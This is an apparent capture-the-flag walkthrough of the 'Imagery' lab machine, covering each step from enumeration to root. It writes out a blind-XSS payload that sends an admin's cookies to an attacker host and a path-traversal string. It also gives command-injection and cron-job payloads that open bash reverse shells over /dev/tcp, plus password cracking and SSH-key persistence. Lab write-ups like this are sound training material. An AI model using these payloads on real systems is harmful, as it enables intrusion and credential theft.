Imagery

Summary
Imagery is a medium-difficulty Linux machine featuring a Flask-based image gallery application. The attack path begins with exploiting a blind XSS vulnerability in the bug reporting feature to steal an administrator’s session cookie. With admin access, a directory traversal vulnerability in the log download functionality provides arbitrary file read, allowing extraction of the application’s source code. Analysis reveals a command injection vulnerability in the image transformation feature, restricted to the testuser account. After obtaining testuser credentials from the application database and exploiting the command injection, initial access is gained as the web user. An encrypted backup file is discovered in /var/backup, which after cracking with a pyAesCrypt brute-forcer, reveals an older database containing credentials for the mark user. The mark account has sudo permissions to run a custom backup utility called Charcol, which can be abused to achieve root access by creating a malicious cron job.
Enumeration
Nmap
We begin with a port scan to identify open services on the target:
nmap -p- -sCV 10.10.11.18
The scan reveals two open ports:
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.7p1 Ubuntu 7ubuntu4.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 35:94:fb:70:36:1a:26:3c:a8:3c:5a:5a:e4:fb:8c:18 (ECDSA)
|_ 256 c2:52:7c:42:61:ce:97:9d:12:d5:01:1c:ba:68:0f:fa (ED25519)
8000/tcp open http Werkzeug httpd 3.1.3 (Python 3.12.7)
|_http-title: Image Gallery
|_http-server-header: Werkzeug/3.1.3 Python/3.12.7
Port 8000 is running Werkzeug, a WSGI web server typically used with Flask applications. We add the hostname to our hosts file:
echo "10.10.11.88 imagery.htb" | sudo tee -a /etc/hosts
Web Application
Navigating to http://imagery.htb:8000, we’re presented with an image gallery application. The site offers registration functionality, allowing us to create an account and access additional features.
After registering and logging in, the dashboard indicates that no images have been uploaded yet and provides a link to upload functionality. Exploring the application further, we discover a “Report Bug” feature in the footer.

This bug reporting form accepts user input and presumably sends it to an administrator for review. This presents a potential attack vector for cross-site scripting (XSS), particularly blind XSS, since we don’t immediately see the rendered output.
Initial Access
Blind XSS Exploitation
To test for blind XSS, we craft a payload that loads an external resource from our server. Starting a Python HTTP server to monitor requests:
python3 -m http.server 80
We submit the following payload in the bug details field:
"><img src="http://10.10.14.192/">
After approximately a minute, our HTTP server receives a request, confirming an administrator has viewed the report and the application is vulnerable to blind XSS. We escalate with a payload using an onerror event handler to exfiltrate cookies:
<img src="x" onerror=new Image().src='http://10.10.14.192/?c='+document.cookie>

This creates an image element with an invalid source, triggering the onerror event which redirects the administrator’s browser to our server with their base64-encoded cookies. Shortly after submission, we receive the encoded cookie:
10.10.11.88 - - "GET /c=c2Vzc2lvbj0uZUp3OWpiRU9nekFNUlBfRmM0VUVa<SNIP> HTTP/1.1" 404 -

Decoding reveals the administrator’s session cookie, which we use to replace our own browser cookie and gain admin panel access.
Arbitrary File Read
The administrator panel includes functionality to download user activity logs. Intercepting this request in Burp Suite reveals a log_identifier parameter:
Testing for path traversal by modifying the parameter to request /etc/passwd:
log_identifier=../../../../../../../etc/passwd

The application returns the file contents, confirming an arbitrary file read vulnerability.
Source Code Discovery
Using the file read vulnerability, we examine /proc/self/environ to gather environment information:

The environment variables reveal the application runs from /home/web/web/. We extract app.py and discover several imported modules:
from flask import Flask, render_template
import os
import sys
from datetime import datetime
from config import *
from utils import _load_data, _save_data
from utils import *
from api_auth import bp_auth
from api_upload import bp_upload
from api_manage import bp_manage
from api_edit import bp_edit
from api_admin import bp_admin
from api_misc import bp_misc
We extract all referenced modules. The api_edit.py file is particularly interesting as it imports subprocess and defines routes for image transformation features:
@bp_edit.route('/apply_visual_transform', methods=['POST'])
def apply_visual_transform():
if not session.get('is_testuser_account'):
return jsonify({'success': False, 'message': 'Feature is still in development.'}), 403
if 'username' not in session:
return jsonify({'success': False, 'message': 'Unauthorized. Please log in.'}), 401
request_payload = request.get_json()
image_id = request_payload.get('imageId')
transform_type = request_payload.get('transformType')
params = request_payload.get('params', {})
<SNIP>
if transform_type == 'crop':
x = str(params.get('x'))
y = str(params.get('y'))
width = str(params.get('width'))
height = str(params.get('height'))
command = f"{IMAGEMAGICK_CONVERT_PATH} {original_filepath} -crop {width}x{height}+{x}+{y} {output_filepath}"
subprocess.run(command, capture_output=True, text=True, shell=True, check=True)
The code shows several critical issues:
- Access requires
is_testuser_account session flag
- User-supplied parameters are directly interpolated into a shell command
- The command executes via
subprocess.run() with shell=True
This is a command injection vulnerability. The parameters are concatenated into the command string without sanitization or escaping.
Obtaining Testuser Credentials
To exploit this vulnerability, we need testuser access. Reading config.py reveals credentials are stored in db.json:

Extracting db.json provides MD5 password hashes. We crack the testuser hash:
john --wordlist=/usr/share/wordlists/rockyou.txt hash --format=raw-md5
Loaded 1 password hash (Raw-MD5 [MD5 512/512 AVX512BW 16x3])
Press 'q' or Ctrl-C to abort, almost any other key for status
iambatman (?)
We log in as testuser@imagery.htb with the cracked password.
Command Injection to Shell
After authenticating as testuser, the “Visual Image Transformation” feature becomes available:

We upload an image and select the “Transform Image” option. Intercepting the request in Burp Suite, we modify the x parameter to inject our payload:

"x": "; bash -c 'bash -i >& /dev/tcp/10.10.14.192/8000 0>&1; nohup'"
Starting a netcat listener and sending the request triggers the injection:
Connection received on 10.10.11.88 48316
web@Imagery:~/web$
We stabilize the shell:
python3 -c 'import pty; pty.spawn("/bin/bash")'
export TERM=xterm
# Press Ctrl+Z
stty raw -echo; fg
Lateral Movement
Discovering the Encrypted Backup
With shell access as web, we enumerate the system. An interesting file appears in /var/backup:

-rw-rw-r-- 1 root root 23054471 Aug 6 2024 /var/backup/web_20250806_120723.zip.aes
Transferring the file to our machine and examining it:
web.zip.aes: AES encrypted data, version 2, created by "pyAesCrypt 6.1.1"
The file is encrypted with pyAesCrypt. We use dpyAesCrypt to brute-force the password:
python3 crack.py web.zip.aes /usr/share/wordlists/rockyou.txt
[*] dpyAesCrypt.py – pyAesCrypt Brute Forcer
[*] Starting brute-force with 100 threads...
[+] Password found: bestfriends
Decrypt the file now? (y/n): y
[+] File decrypted successfully as: web.zip

After extracting the backup, we find an older db.json with additional user accounts:
{
"users": [
{
"username": "mark@imagery.htb",
"password": "01c3d2e5bdaf6134cec0a367cf53e535",
<SNIP>
}
]
}

Cracking the MD5 hash:
john --wordlist=/usr/share/wordlists/rockyou.txt hash --format=raw-md5
Loaded 1 password hash (Raw-MD5 [MD5 512/512 AVX512BW 16x3])
Press 'q' or Ctrl-C to abort, almost any other key for status
supersmash (?)
The password works for the mark user:
su mark
Password: supersmash
For persistence, we add our SSH public key:
cd ~/.ssh
echo "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIPFD5BJoZ2Fg3XUvUoWXmymoTnZnvEqRJEVsHSneKm3U kali@attacker" > authorized_keys
The user flag is at /home/mark/user.txt.
Privilege Escalation
Analyzing Sudo Privileges
Checking sudo permissions:
Matching Defaults entries for mark on Imagery:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User mark may run the following commands on Imagery:
(ALL) NOPASSWD: /usr/local/bin/charcol
The mark user can execute /usr/local/bin/charcol as root without a password. We don’t have read permissions, so we explore its functionality through the help interface:
sudo /usr/local/bin/charcol help
usage: charcol.py [--quiet] [-R] {shell,help} ...
Charcol: A CLI tool to create encrypted backup zip files.
positional arguments:
{shell,help} Available commands
shell Enter an interactive Charcol shell.
help Show help message for Charcol or a specific command.
options:
--quiet Suppress all informational output, showing only
warnings and errors.
-R, --reset-password-to-default
Reset application password to default (requires system
password verification).
Resetting and Configuring Charcol
The -R option allows resetting the application password. We use this to gain access:
sudo /usr/local/bin/charcol -R
Attempting to reset Charcol application password to default.
[2026-02-02 14:20:11] [INFO] System password verification required for this operation.
Enter system password for user 'mark' to confirm: supersmash
[2026-02-02 14:20:17] [INFO] System password verified successfully.
Removed existing config file: /root/.charcol/.charcol_config
Charcol application password has been reset to default (no password mode).
Please restart the application for changes to take effect.
Launching the interactive shell and setting up credentials:
sudo /usr/local/bin/charcol shell
After configuration, exploring the help menu reveals functionality for creating automated cron jobs. Since Charcol runs as root, any cron job it creates will execute with root privileges.
Exploiting Cron Job Creation
Starting a netcat listener:
Creating a malicious cron job that executes every minute:
charcol> auto add --schedule "* * * * *" --command "bash -c 'sh -i >& /dev/tcp/10.10.14.192/4444 0>&1'" --name "rce"
[2026-02-02 14:23:30] [INFO] Verification required for automated job management.
Enter Charcol application password: password
[2026-02-02 14:23:32] [INFO] Application password verified.
[2026-02-02 14:23:32] [INFO] Auto job 'rce' added successfully. The job will run according to schedule.

Within a minute, the cron job executes and we receive a root shell:
Connection received on 10.10.11.88 52318
# id
uid=0(root) gid=0(root) groups=0(root)
